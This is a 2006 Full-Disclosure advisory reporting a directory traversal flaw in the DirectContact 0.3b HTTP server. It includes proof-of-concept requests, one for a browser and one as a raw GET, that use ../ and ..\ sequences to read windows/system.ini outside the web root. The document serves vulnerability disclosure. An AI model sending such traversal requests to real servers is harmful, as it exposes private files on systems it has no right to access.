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| Subject: | [Full-disclosure] directory traversal in DirectContact 0.3b |
|---|---|
| Date: | Mon, 27 Feb 2006 20:28:22 +0100 |
Donato Ferrante
Application: DirectContact http://reyero.info/dc/
Version: 0.3b
Bug: directory traversal
Date: 27-Feb-2006
Author: Donato Ferrante
e-mail: fdonato@autistici.org
web: www.autistici.org/fdonatoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1. Description 2. The bug 3. The code 4. The fix
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---------------- 1. Description: ----------------
Vendor's Description:
"DirectContact turns your computer in real "friendly" HTTP server."
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------------ 2. The bug: ------------
The program is unable to manage malicious patterns like ..\ or ../. So an attacker can go out the document root assigned to the webserver and see/download all the files available on the remote system.
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------------- 3. The code: -------------
To test the vulnerability:
via browser: http://[host]:[port]/..\..\..\..\windows/system.ini
via raw request: GET /../../../../../../windows/system.ini HTTP/1.1
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------------ 4. The fix: ------------
Vendor has been contacted. Bug will be fixed in the next release.
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